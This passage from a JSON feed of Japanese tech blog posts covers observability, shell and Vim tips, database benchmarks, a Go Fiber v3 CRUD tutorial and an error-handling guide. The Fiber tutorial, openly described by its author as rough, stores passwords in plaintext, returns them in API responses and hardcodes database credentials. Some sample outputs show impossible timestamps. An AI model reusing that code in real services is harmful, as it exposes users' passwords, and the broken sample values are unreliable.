謙一(監修)草思社Amazon登壇資料本資料がどんな資料かというと、 speakerdeck.com可観測性(Observability)について以下のようにまとめている。可観測性とは、システムの外部から観測できる情報に基づいて内部状態を推論・理解する能力のことであり、特にマイクロサービスアーキテクチャでは、複数の信号源からの情報を相関させ、サービスを横断するリクエストを追跡できる可観測性が不可欠である。可観測性の主要なシグナルとしては、メトリクス、ログ、トレースの3つがあり、可観測性と監視の違いは、監視が既知の未知(Known unknow)に対応するのに対し、可観測性は未知の未知(Unknow unknow)に対応する点である。何かを導入する時には、変化への抵抗が伴うことが多く、抵抗の主な要因として、惰性、労力、感情、心理的反発の4つがある。可観測性導入の成功のためには、技術的・人的側面に配慮し、エンジニアや組織全体の心理的抵抗に対処することが重要であり、継続的なコミュニケーションと小さな成功体験で支持を得ることが有効である。可観測性導入は組織的な変革であり、エンジニアリング文化や考え方の変革が必要で、エンジニアの自発的な活用と組織全体の支援が重要である。みたいなことを生成AIを通すと言われたのでそんなことを言われたのでそんな感じの資料です。きょーさんに毎回のようにレビューしていただきました。当日の雰囲気Youtube緊張してアルコールを飲んだ。www.youtube.comXでの投稿まとめまとめを作ってくれる人はいつの時代も偉大である。ありがとうございます。togetter.com参考資料Observability Whitepaperオブザーバビリティ入門:これから始める方への基本コンセプトとツールPractical MonitoringCloud Observability in ActionObservability EngineeringopenobserveObservability with Grafana【2024年度 サイバーエージェント 新卒研修】システム運用の基本と戦略オブザーバビリティ研修実践編オブザーバビリティ入門勘に頼らず原因を⾒つけるためのオブザーバビリティログから始めるオブザーバビリティフロントエンドにおけるObservabilityObservabilityについてOpenTelemetry実践 はじめの一歩分散トレーシングとOpenTelemetryのススメ / Getting started distributed tracing and OpenTelemetry仕様と実装で学ぶOpenTelemetry計測の手間を省きたい!OpenTelemetry に見る\\"自動計装\\"のイマPractical MonitoringopenobserveCloud Observability in ActionObservability Engineering「変化を嫌う人」を動かす: 魅力的な提案が受け入れられない4つの理由解像度を上げる \uD83D\uDD2C具体と抽象 世界が変わって見える知性のしくみ「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策他者と働く「わかりあえなさ」から始める組織論","link":"https://syu-m-5151.hatenablog.com/entry/2024/06/06/131051","isoDate":"2024-06-06T04:10:51.000Z","dateMiliSeconds":1717647051000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"可観測性ガイダンス","contentSnippet":"可観測性ガイダンスというタイトルで登壇してきました。\\r\\rイベント名: オブザーバビリティ再入門 - 大切さと高め方を知ろう!\\rイベントURL: https://mackerelio.connpass.com/event/316449/\\r\\r\\r# ブログでいくつかの可観測性に関する書籍のまとめを投稿しました。\\r5年後には標準になっている可観測性のこと - Learning Opentelemetry の読書感想文\\rhttps://syu-m-5151.hatenablog.com/entry/2024/04/16/180511\\r\\rもう一度読むObservability Engineering\\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/06/090014\\r\\r盲目的に始めないためのオブザーバビリティ実践ガイド - Cloud Observability in Actionの読書感想文\\rhttps://syu-m-5151.hatenablog.com/entry/2024/05/10/121047","link":"https://speakerdeck.com/nwiizo/ke-guan-ce-xing-kaitansu","isoDate":"2024-06-04T04:00:00.000Z","dateMiliSeconds":1717473600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREに求められるスキルと心構え","contentSnippet":"はじめに こんにちは、最近の私の人生はキックボクシングとコーディングの2つの活動に極端に偏りつつあります。nwiizoです。一見正反対のようなこの2つの活動ですが、共通する本質があります。それは、頭で考えるだけでなく、実 […]The post SREに求められるスキルと心構え first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sre-required-skills-and-mindset/","isoDate":"2024-06-03T01:56:04.000Z","dateMiliSeconds":1717379764000,"authorName":"Sreake","authorId":"Sreake"},{"title":"gh searchでOSS貢献を振り替える","contentSnippet":"ghコマンド、ベンリですね。こんな感じで、公開レポジトリに作ったPRの内、マージされたものを一発で集計できちゃいます。今のところ、59レポジトリに167PRをマージしてもらったみたいです。","link":"https://blog.atusy.net/2024/06/03/gh-search-merged-prs/","isoDate":"2024-06-03T00:00:00.000Z","dateMiliSeconds":1717372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Remixでフロントエンド入門してみた","contentSnippet":"ぼちぼちフロントエンドなるもんもやってみたいなーと思い、Remixに入門してみました。フロントエンドの経験は、仕事でちょっとVue2を触ったことがあるのと、3年ほど前にReactのチュートリアルをやったことがあるくらい。特に拘りはなく、同僚がおすすめしてたRemixに手を出してみることにしました。","link":"https://blog.atusy.net/2024/06/03/remix-beginner/","isoDate":"2024-06-03T00:00:00.000Z","dateMiliSeconds":1717372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"fishの起動時間","contentSnippet":"fishの起動時間はfish -i -c \\"fish_prompt; exit 0\\"の実行時間で測るとよさそうです。-iオプションにより設定ファイルの実行時間を含む-cオプションにfish_promptを呼ぶことでプロンプトの決定にかかる時間を含むコマンドのベンチマークに便利なhyperfineを使うとこんな感じ。平均45.8msとのことで、十分に高速かと思います。","link":"https://blog.atusy.net/2024/06/02/fish-startuptime/","isoDate":"2024-06-02T00:00:00.000Z","dateMiliSeconds":1717286400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Fiber v3 を使ったが変更点を確認だけして手癖で解決した","contentSnippet":"はじめにこの記事では、プログラミング言語のGoとWebフレームワークであるFiber v3を使って、リレーショナルデータベースのPostgreSQLをバックエンドに利用したCRUD (Create, Read, Update, Delete) 操作ができるWeb APIを作成する方法を説明します。本来であれば、Fiber v3の新機能や変更点を活用したかったのですが、十分な調査を行う前に雰囲気で実装を進めてしまったため、本記事ではそれらを採用できておりません。深夜に検証を行っていたこともあり、ベストプラクティスとは言えない部分があることを認識しています。エンジニアとして、新しいバージョンのフレームワークを使う際には、事前に十分な調査を行い、新機能や変更点を理解した上で実装を進めるべきでした。GitHub Copilot とLanguage Server で適当に書いてしまいました。また、コードの品質を保つためには、適切な時間帯に集中して作業を行うことが重要です(これはガチ)。今回の実装では、これらの点が不十分であったことを反省しています。業務では、技術選定や実装方法について、より慎重に検討を行い、品質の高いコードを書くことを心がけたいと思います。読者の皆様におかれましては、本記事の内容を参考にする際には、上記の点にご留意いただければ幸いです。github.comプロジェクトの初期化まず、新しいGoプロジェクトを作成します。mkdir fiber-crud-apicd fiber-crud-apigo mod init github.com/yourusername/fiber-crud-api必要なパッケージのインストール次に、必要なパッケージをインストールします。go get github.com/gofiber/fiber/v3go get github.com/lib/pqデータベースの設定とモデルの定義main.goファイルを作成し、以下のようにデータベースの設定とモデルを定義します。package mainimport ( \\"database/sql\\" \\"encoding/json\\" \\"fmt\\" \\"log\\" \\"time\\" \\"github.com/gofiber/fiber/v3\\" _ \\"github.com/lib/pq\\")const ( host = \\"db\\" port = 5432 user = \\"postgres\\" password = \\"password\\" dbname = \\"mydb\\")// Connect to the databasefunc Connect() (*sql.DB, error) { psqlInfo := fmt.Sprintf(\\"host=%s port=%d user=%s password=%s dbname=%s sslmode=disable\\", host, port, user, password, dbname) db, err := sql.Open(\\"postgres\\", psqlInfo) if err != nil { return nil, err } return db, nil}// User modeltype User struct { ID int `json:\\"id\\"` Name string `json:\\"name\\"` Email string `json:\\"email\\"` Password string `json:\\"password\\"` CreatedAt time.Time `json:\\"created_at\\"`}// Post modeltype Post struct { ID int `json:\\"id\\"` UserID int `json:\\"user_id\\"` Title string `json:\\"title\\"` Content string `json:\\"content\\"` CreatedAt time.Time `json:\\"created_at\\"` UpdatedAt time.Time `json:\\"updated_at\\"`}APIエンドポイントの実装続けて、main.goファイルにAPIエンドポイントを実装します。v2 の時には存在していたctx のbodyparserがv3ではなくなっていたので手癖でJSONで返したのですがおそらくBind周りで実装するとよいみたいです(あとから気付きました...)。v2からv3の変更点については以下を参考にしてください。docs.gofiber.iofunc main() { app := fiber.New() // データベース接続 db, err := Connect() if err != nil { log.Fatal(err) } defer db.Close() // Create User app.Post(\\"/users\\", func(c fiber.Ctx) error { user := new(User) if err := json.Unmarshal(c.Body(), user); err != nil { return c.Status(fiber.StatusBadRequest).JSON(fiber.Map{ \\"error\\": \\"Invalid request body\\", }) } // パスワードのハッシュ化やバリデーションを行うことが推奨される // 簡易実装のため、ここでは省略 // データベースにユーザーを作成 _, err := db.Exec(\\"INSERT INTO users (name, email, password) VALUES ($1, $2, $3)\\", user.Name, user.Email, user.Password) if err != nil { return c.Status(fiber.StatusInternalServerError).JSON(fiber.Map{ \\"error\\": \\"Failed to create user\\", }) } return c.Status(fiber.StatusCreated).JSON(fiber.Map{ \\"message\\": \\"User created\\", }) }) // Get User app.Get(\\"/users/:id\\", func(c fiber.Ctx) error { id := c.Params(\\"id\\") // データベースからユーザーを取得 row := db.QueryRow(\\"SELECT * FROM users WHERE id = $1\\", id) user := new(User) if err := row.Scan(&user.ID, &user.Name, &user.Email, &user.Password, &user.CreatedAt); err != nil { if err == sql.ErrNoRows { return c.Status(fiber.StatusNotFound).JSON(fiber.Map{ \\"error\\": \\"User not found\\", }) } return c.Status(fiber.StatusInternalServerError).JSON(fiber.Map{ \\"error\\": \\"Failed to get user\\", }) } return c.JSON(user) }) // Create Post app.Post(\\"/posts\\", func(c fiber.Ctx) error { post := new(Post) if err := json.Unmarshal(c.Body(), post); err != nil { return c.Status(fiber.StatusBadRequest).JSON(fiber.Map{ \\"error\\": \\"Invalid request body\\", }) } // データベースに記事を作成 _, err := db.Exec(\\"INSERT INTO posts (user_id, title, content) VALUES ($1, $2, $3)\\", post.UserID, post.Title, post.Content) if err != nil { return c.Status(fiber.StatusInternalServerError).JSON(fiber.Map{ \\"error\\": \\"Failed to create post\\", }) } return c.Status(fiber.StatusCreated).JSON(fiber.Map{ \\"message\\": \\"Post created\\", }) }) // Get Post app.Get(\\"/posts/:id\\", func(c fiber.Ctx) error { id := c.Params(\\"id\\") // データベースから記事を取得 row := db.QueryRow(\\"SELECT * FROM posts WHERE id = $1\\", id) post := new(Post) if err := row.Scan(&post.ID, &post.UserID, &post.Title, &post.Content, &post.CreatedAt, &post.UpdatedAt); err != nil { if err == sql.ErrNoRows { return c.Status(fiber.StatusNotFound).JSON(fiber.Map{ \\"error\\": \\"Post not found\\", }) } return c.Status(fiber.StatusInternalServerError).JSON(fiber.Map{ \\"error\\": \\"Failed to get post\\", }) } return c.JSON(post) }) log.Fatal(app.Listen(\\":3000\\"))}このコードでは、以下のエンドポイントを実装しています。POST /users: 新しいユーザーを作成します。GET /users/:id: 指定されたIDのユーザーを取得します。POST /posts: 新しい記事を作成します。GET /posts/:id: 指定されたIDの記事を取得します。Dockerfileとdocker-compose.ymlの作成開発環境用のDockerfileとdocker-compose.ymlを作成します。これも簡易的に用意した適当なファイルなので十分に吟味してください。FROM golang:1.22-alpineWORKDIR /appCOPY go.mod go.sum ./RUN go mod downloadCOPY . .RUN go build -o main .CMD [\\"./main\\"]version: \'3\'services: app: build: . ports: - \\"3000:3000\\" depends_on: - db db: image: postgres environment: POSTGRES_USER: postgres POSTGRES_PASSWORD: password POSTGRES_DB: mydb volumes: - ./init.sql:/docker-entrypoint-initdb.d/init.sqlデータベースの初期化スクリプトinit.sqlファイルを作成し、データベースの初期化スクリプトを記述します。CREATE TABLE users ( id SERIAL PRIMARY KEY, name VARCHAR(255) NOT NULL, email VARCHAR(255) UNIQUE NOT NULL, password VARCHAR(255) NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP);CREATE TABLE posts ( id SERIAL PRIMARY KEY, user_id INTEGER REFERENCES users(id), title VARCHAR(255) NOT NULL, content TEXT NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP);アプリケーションの実行以下のコマンドを実行してアプリケーションを起動します。docker-compose up --buildこれで、GoとFiberを使ってCRUDができるAPIが作成され、PostgreSQLをバックエンドに利用する環境が整いました。APIエンドポイントをテストするために、cURLやPostmanなどのツールを使用してリクエストを送信できます。APIのテストとデータベースの確認アプリケーションを起動した後、CURLを使ってAPIエンドポイントをテストし、PostgreSQLの中身を確認してみましょう。ユーザーの作成と確認まず、新しいユーザーを作成します。curl -X POST -H \\"Content-Type: application/json\\" -d \'{\\"name\\":\\"John Doe\\",\\"email\\":\\"john@example.com\\",\\"password\\":\\"secret\\"}\' http://localhost:3000/usersレスポンスとして、\\"User created\\"が返ってくるはずです。次に、作成したユーザーを確認します。curl http://localhost:3000/users/1レスポンスとして、作成したユーザーの情報がJSON形式で返ってきます。{\\"id\\":1,\\"name\\":\\"John Doe\\",\\"email\\":\\"john@example.com\\",\\"password\\":\\"secret\\",\\"created_at\\":\\"2023-04-24T12:34:56Z\\"}PostgreSQLの中身を確認するために、データベースにログインします。docker-compose exec db psql -U postgres mydbユーザーテーブルの中身を確認します。SELECT * FROM users;作成したユーザーがテーブルに存在することを確認できます。 id | name | email | password | created_at----+---------+----------------+----------+---------------------------- 1 | John Doe| john@example.com| secret | 2024-05-30 01:34:56.789012(1 row)記事の作成と確認次に、新しい記事を作成します。curl -X POST -H \\"Content-Type: application/json\\" -d \'{\\"user_id\\":1,\\"title\\":\\"My First Post\\",\\"content\\":\\"Hello, World!\\"}\' http://localhost:3000/postsレスポンスとして、\\"Post created\\"が返ってくるはずです。作成した記事を確認します。curl http://localhost:3000/posts/1レスポンスとして、作成した記事の情報がJSON形式で返ってきます。{\\"id\\":1,\\"user_id\\":1,\\"title\\":\\"My First Post\\",\\"content\\":\\"Hello, World!\\",\\"created_at\\":\\"2023-04-24T12:45:67Z\\",\\"updated_at\\":\\"2023-04-24T12:45:67Z\\"}再度、PostgreSQLの中身を確認します。SELECT * FROM posts;作成した記事がテーブルに存在することを確認できます。 id | user_id | title | content | created_at | updated_at----+---------+--------------+---------------+----------------------------+---------------------------- 1 | 1 | My First Post| Hello, World! | 2024-05-30 01:45:67.890123 | 2024-05-30 01:45:67.890123(1 row)以上で、APIのテストとデータベースの確認が完了しました。さいごに以上が、GoとFiberを使ってCRUDができるAPIを作成し、PostgreSQLをバックエンドに利用する方法です。実際のアプリケーションでは、エラーハンドリングやバリデーションなどを追加し、より堅牢なAPIを作成することが重要です。また、認証や認可、ページネーション、フィルタリングなどの機能も必要になるでしょう。データベースのマイグレーションツールを使用して、テーブル構造の変更を管理することも忘れずに。本当に手癖でやってみただけです。楽しかったです。この記事を書いている時にはaikoを聴いていたのでプレイリストも共有です。open.spotify.com","link":"https://syu-m-5151.hatenablog.com/entry/2024/05/31/122850","isoDate":"2024-05-31T03:28:50.000Z","dateMiliSeconds":1717126130000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"fishでzshのhistoryも参照したい","contentSnippet":"先日、fish使い始めたとの話をしたところですが、移行にあたり、Zshのコマンド履歴を使えないことが苦痛になりました。そんな時も、さっと設定できちゃうFishはステキ。~/.zsh_history)と、Fishのコマンド履歴(historyコマンドの出力)を合体させて、fzfで選択すれば両方の履歴を使えます。","link":"https://blog.atusy.net/2024/05/30/fish-history/","isoDate":"2024-05-30T00:00:00.000Z","dateMiliSeconds":1717027200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"H/LとPageUp/PageDownを共存させる設定 (submode編)","contentSnippet":"この記事は、Vim駅伝の2024年5月29日の記事です。22日の記事でH/LとPageUp/PageDownを共存させる設定の紹介がありました。https://zenn.dev/vim_jp/articles/20240522_ekiden_better_hlHとLは通常では、表示領域内の最初の行や最後の行にカーソルを移動させるコマンドです。連打しやすい割に、連打する意味がない、惜しい存在ですが、スクロール機能も持たせるのは良いアイデアですね。","link":"https://blog.atusy.net/2024/05/29/vim-hl-enhanced/","isoDate":"2024-05-29T00:00:00.000Z","dateMiliSeconds":1716940800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"fish使い始めた","contentSnippet":"長く、Zshを使っていましたが、Fishに移行しました。ノープラグインでOKなくらい高機能で工夫せずとも20msで起動するのは快適でいいです。ネット上のコマンドをコピペした時もそんなに込まらなさそう。","link":"https://blog.atusy.net/2024/05/27/fish/","isoDate":"2024-05-27T00:00:00.000Z","dateMiliSeconds":1716768000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud SQL for PostgreSQLのベクトル検索を試す","contentSnippet":"Google Cloud Next \'24でGoogle Cloudが提供するすべてのマネージドデータベースにベクトル検索の機能が追加されました。[1]今回はそのなかのCloud SQL for PostgreSQLにフォーカスしてベクトル検索機能を試します。 Cloud SQL for PostgreSQL インスタンススペックエディションEnterprisevCPU2RAM8GBストレージタイプSSDZoneasia-northeast1接続パブリックIPを有効化 必要な設定を行うデータベースを作成す...","link":"https://zenn.dev/nnaka2992/articles/play_with_cloud_sql_vector_search","isoDate":"2024-05-26T15:54:14.000Z","dateMiliSeconds":1716738854000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Geminiはトーク分析ツールに取って代わるか","contentSnippet":"はじめに 初めまして、Sreake事業部アプリケーション開発支援チームの大美です。 先日、Googleのマルチモーダル生成AIモデル Gemini 1.5 Pro のコンテキストウィンドウが100万→200万トークンにア […]The post Geminiはトーク分析ツールに取って代わるか first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gemini-talk-analysis/","isoDate":"2024-05-24T10:28:39.000Z","dateMiliSeconds":1716546519000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計","contentSnippet":"1. はじめに はじめまして、Sreake事業部の井上 秀一です。私はSreake事業部にて、SREや生成AIに関するResearch & Developmentを行っています。 本記事では、Google Clo […]The post Google Cloudのプロンプト比較機能を用いた、言語モデルにおけるプロンプト設計 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-prompt-design/","isoDate":"2024-05-24T09:52:32.000Z","dateMiliSeconds":1716544352000,"authorName":"Sreake","authorId":"Sreake"},{"title":"セキュリティ人材になるために/becoming a security personnel","contentSnippet":"2024年5月23日に行われたランチタイムトークで登壇した資料です。","link":"https://speakerdeck.com/moz_sec_/becoming-a-security-personnel","isoDate":"2024-05-23T04:00:00.000Z","dateMiliSeconds":1716436800000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Kubernetes Code Contribution入門","contentSnippet":"Kubernetes Novice Tokyo #32 で登壇したセッションの資料です。\\rhttps://k8s-novice-jp.connpass.com/event/317561/\\r\\r配信URL:\\rhttps://www.youtube.com/live/sRLG9ufaZ4M","link":"https://speakerdeck.com/bells17/kubernetes-code-contributionru-men","isoDate":"2024-05-21T04:00:00.000Z","dateMiliSeconds":1716264000000,"authorName":"bells17","authorId":"bells17"},{"title":"Neovimの端っこで\\\\lとかしたら、WeztermのとなりのPaneに移動する","contentSnippet":"Weztermで区切ったPaneの中でNeovimを操作していると、lしたのに隣に移動できないぞ?という気分になるときがあります。右隣はNeovimのWindowではなく、WeztermのPaneですね。","link":"https://blog.atusy.net/2024/05/21/move-nvim-win-or-wezterm-pane/","isoDate":"2024-05-21T00:00:00.000Z","dateMiliSeconds":1716249600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Oracle Dataabse 19cの検証環境が欲しいからProxmoxに環境構築する","contentSnippet":"概要300年ぶりぐらいに、ローカル環境(非Cloud環境)でホストしたOracle Databaseが欲くなったので、自宅にあるProxmoxへインストールします。 前提Proxmoxにダウンロード済みのOracle Linux 9のイメージを利用する。利用するOracle Databaseは19cとする。検証環境のため本番用途に適した設定ではない。 Proxmox VMを建ち上げる Oracle Database 19cのサーバ要件今回関係あるもののみ抜粋しています。OSOracle Linux 9およびRed Hat互換カーネル: 5.14.0-...","link":"https://zenn.dev/nnaka2992/articles/install_oracle_19c_to_proxmox","isoDate":"2024-05-19T14:18:18.000Z","dateMiliSeconds":1716128298000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Pulumi コマンド を GitHub Actions で実行する","contentSnippet":"背景副業で Pulumi を使っています。プロバイダーなどのパッケージのバージョン更新をサボっていたのですが、対応しようと思い Renovate で更新するようにしました。しかし、PR が来た時点では Pulumi の差分が分かりません。ローカルで pulumi preview を実行して差分がないことを毎回確認するのは面倒なので GitHub Actions で pulumi preview を実行して PR のコメントで差分を表示してもらうことにしました。 環境Pulumi CloudPulumi + TypeScriptGoogle Cloud 実装していく...","link":"https://zenn.dev/z63d/articles/0d6b3ee4e9a44e","isoDate":"2024-05-18T05:30:31.000Z","dateMiliSeconds":1716010231000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"CloudSQL for PostgreSQLのベンチマークと比較して理解するAlloyDBの特徴","contentSnippet":"概要Google Cloudが提供するPostgreSQL互換データベースであるAlloyDBのパフォーマンスをトランザクション用途・分析用途の双方から検証する。今回の検証ではAlloyDBの上限を見定めるのではなく、CloudSQLと比べてどのようなパフォーマンスになるを目的とする。 TL;DR絞り込み条件がインデックスに限定されない場合、AlloyDBのパフォーマンスメリットが特に大きくなる。絞り込み条件がインデックスに限定され、かつデータサイズが小さい場合、CloudSQL for PostgreSQLのコストパフォーマンスが大きくなる。現将・将来のワークロード...","link":"https://zenn.dev/nnaka2992/articles/compare_alloydb_and_postgres","isoDate":"2024-05-17T15:16:13.000Z","dateMiliSeconds":1715958973000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[Kubernetes 1.30] kube-proxy の nftables モード","contentSnippet":"kube-proxyService へのトラフィックをプロキシするコンポーネントのデフォルト実装e.g.) Cluster IP への通信を Pod IP にリダイレクトするEndpointSlice, Service, Node などのオブジェクトの変更を検知して Service を介したトラフィックのルーティングを可能にするContainer Network Interface (CNI) vs kube-proxyCNI が Pod 間で通信できるように Pod IP の払い出しやルーティングをセットアップするPod は一時的なものかつ Pod ...","link":"https://zenn.dev/toversus/articles/dcb888d73f0615","isoDate":"2024-05-16T23:43:33.000Z","dateMiliSeconds":1715903013000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成","contentSnippet":"はじめに Google Cloud Next ’24 にて Cloud SQL for MySQL にて Embedding データを入れられるようになったというアナウンスが有りました。 https://cl […]The post Cloud SQL(MySQL)とSpring Bootの画像検索アプリケーション作成 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloudsql-spring-boot-image-search-app/","isoDate":"2024-05-15T00:02:44.000Z","dateMiliSeconds":1715731364000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Posit Table Contestに`felp::fuzzyhelp()`を投稿した","contentSnippet":"RStudio IDEを開発するPosit PBCがTable Contest: 2024 Editionを開催しています。表を使ったデータの可視化の例を思い思いに投稿してもらい、その中から受賞者を決めて、Tシャツやマグカップなどのノベルティを進呈するプログラムのようです。polarsパッケージを使って投稿した人には特別な受賞枠もあるようです。2022年にも同様のコンテストがありましたが、今年はR言語に限らず、Python言語を使っての投稿もOKとのこと。","link":"https://blog.atusy.net/2024/05/13/posit-table-contest/","isoDate":"2024-05-13T00:00:00.000Z","dateMiliSeconds":1715558400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"自動化するならちゃんとエラーを出せ。想定しろ。不安になれ。","contentSnippet":"はじめに自動化やツール開発において、通常時に上手くいくのは当たり前です。大切なのは失敗を想定することです。自動化したツールがエラーも出さずに実行結果的にも成功してるので動いていると思っていたら、実は問題が発生していて泣いた経験は、多くの人にあるのではないでしょうか。エラーを出力し、適切に失敗させて、ログに記録することで、問題の早期発見と迅速な対応が可能になります。また、エラーが発生する可能性のある箇所を事前に想定し、適切に処理することで、ツールの信頼性と安定性が向上します。しかし、エラーハンドリングができていても、それだけでは不十分です。優れた自動化ツールは、環境の変化に柔軟に対応できるようにコードが設計されているべきです。また、自動化ツールの完成度を高めるには、エラーハンドリングだけでなく、保守性、拡張性、ユーザビリティなども考慮する必要があります。自動化ツールを開発する際は、常に不安を抱きながらコードを書くことが重要です。「もしこの部分が失敗したらどうなるだろう」「これで本当に大丈夫だろうか」と自問自答しながら、エッジケースを想定し、想定外のエラーが発生した場合の対策を講じておくことが求められます。本記事では、Golang とシェルスクリプトを例に、エラーハンドリングの具体的な方法や、自動化ツール開発における留意点のいくつかについて解説していきます。はじめにで触れた内容の一部については、詳細な説明を割愛していますので、ご了承ください。Golang でのエラーハンドリングGolang には例外機構はありませんが、関数の戻り値として error を返すのが一般的です。以下は、引数のバリデーションをして、想定外ならエラーを返す例です。type MyOption struct { IsHoge bool Fuga int}func f(s string, o MyOption) error { if !regexp.MustCompile(`^A-\\\\d{4,8}$`).MatchString(s) { return fmt.Errorf(\\"invalid argument: s must be in format A-\\\\\\\\d{4,8}\\") } if o.IsHoge && o.Fuga == 0 { return fmt.Errorf(\\"invalid argument: o.Fuga is required if o.IsHoge is true\\") } // 処理本体... return nil}このように、関数の先頭で引数をバリデーションし、想定外ならエラーを返すようにしています。また、エラーメッセージは fmt.Errorf を使って生成しています。これは、エラーメッセージをフォーマットする際のベストプラクティスです。さらに、エラーが発生した場合は、適切にエラーを処理することが大切です。以下は、エラーをログ出力し、さらに上位の関数に返している例です。func doSomething() error { err := f(\\"A-1234\\", MyOption{IsHoge: true, Fuga: 1}) if err != nil { log.Printf(\\"failed to call f: %v\\", err) return fmt.Errorf(\\"failed to do something: %w\\", err) } // 処理続行... return nil}ここでは、f 関数でエラーが発生した場合、ログ出力をしつつ、fmt.Errorf を使ってエラーをラップして返しています。%w は Go 1.13 から導入された Wrapping Verb で、元のエラーを内包した新しいエラーを生成します。これにより、エラーの因果関係が明確になり、デバッグがしやすくなります。シェルスクリプトでのエラーハンドリングシェルスクリプトでも、コマンドの実行結果を適切にチェックし、エラーを検出することが重要です。以下は、コマンドの実行結果をチェックする一般的なパターンです。some_commandif [ $? -ne 0 ]; then echo \\"some_command failed\\" exit 1fi$? は直前のコマンドの終了ステータスを表す特殊変数です。0 であれば成功、0 以外であればエラーを表します。また、あるコマンドの実行結果を別のコマンドにパイプで渡す場合、パイプラインの途中でエラーが発生してもシェルスクリプトは中断されません。これを防ぐには、以下のようにします。set -o pipefailsome_command | another_commandif [ $? -ne 0 ]; then echo \\"pipeline failed\\" exit 1fiset -o pipefail は、パイプラインのいずれかのコマンドが0以外の終了ステータスを返した場合、パイプライン全体の終了ステータスをそのコマンドの終了ステータスにするオプションです。外部リソースのエラーハンドリング自動化ツールでは、外部APIやデータベースへのアクセスが頻繁に行われます。これらの外部リソースは、ネットワークの問題などで必ず失敗する可能性があることを念頭に置く必要があります。Golang では、net/http パッケージを使った HTTP リクエストが一般的です。以下は、タイムアウトを設定し、レスポンスのステータスコードをチェックする例です。client := &http.Client{ Timeout: 10 * time.Second,}resp, err := client.Get(\\"https://3-shake.com/\\")if err != nil { return fmt.Errorf(\\"failed to get: %w\\", err)}defer resp.Body.Close()if resp.StatusCode != http.StatusOK { return fmt.Errorf(\\"unexpected status code: %d\\", resp.StatusCode)}// レスポンスの処理...シェルスクリプトでは、curl コマンドがよく使われます。以下は、curl コマンドのエラーをチェックする例です。response=$(curl -s -w \\"%{http_code}\\" https://example.com/api/hoge)status_code=$(tail -n1 <<< \\"$response\\") # 最後の行がステータスコードbody=$(sed \'$d\' <<< \\"$response\\") # 最後の行以外がレスポンスボディif [ $status_code -ne 200 ]; then echo \\"unexpected status code: $status_code\\" exit 1fi# レスポンスの処理...-s オプションでサイレントモードにし、-w \\"%{http_code}\\" でレスポンスのステータスコードを出力しています。デバッグをできるようにするデバッグから逃げてはいけません。問題が発生した際に、どこで何が起きているのかを把握できることは重要です。シェルスクリプトでは、bash -x オプションを使うことでデバッグ出力を有効にできます(他のシェルでも似たようなオプションがある)。このオプションを付けてスクリプトを実行すると、各コマンドが実行される前に、そのコマンドが表示されます。これにより、スクリプトのどの部分が実行されているのか、変数がどのように展開されているのかを確認できます。bash -x ./your_script.shGolang にも同様のデバッグ機能があります。delve というデバッガを使うことで、Golang プログラムのデバッグが可能です。delve を使えば、ブレークポイントを設定してプログラムを停止させ、変数の値を確認したり、ステップ実行したりできます。# delve のインストールgo get -u github.com/go-delve/delve/cmd/dlv# デバッグ実行dlv debug ./your_program.goデバッグ実行中は、break コマンドでブレークポイントを設定し、continue でプログラムを再開、next で次の行に進むなどの操作ができます。これらのデバッグ機能を活用することで、問題の原因をより迅速に特定できるようになります。まとめGolang では、関数の戻り値として error を返し、適切にエラーをハンドリングしよう。シェルスクリプトでは、コマンドの終了ステータスをチェックし、パイプラインのエラーにも対処しよう。外部リソースは必ず失敗すると想定してコードを書こう。 タイムアウトの設定やエラーチェックを忘れずに。自動化は常に不安であり、モニタリングすることを忘れずに。デバッグから逃げるな。個人的に自動化に関してはエッジケースの処理を上手くやっていたりすると「オー」って思うのに問題がないので目立たないので今回は記事を書きました。しっかりと失敗することを想定することで、自動化ツールの信頼性と保守性は大きく向上します。 Golang とシェルスクリプトの両方で、エラーとうまく付き合っていきましょう。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazon","link":"https://syu-m-5151.hatenablog.com/entry/2024/05/11/115518","isoDate":"2024-05-11T02:55:18.000Z","dateMiliSeconds":1715396118000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"盲目的に始めないためのオブザーバビリティ実践ガイド - Cloud Observability in Actionの読書感想文","contentSnippet":"誕生日エントリー兼読書感想文です。www.amazon.jpはじめにクラウドコンピューティングの普及とマイクロサービスアーキテクチャの台頭により、システムの複雑性が増大しています。そのような中で、オブザーバビリティ(可観測性)の重要性が高まっています。本書「Cloud Observability in 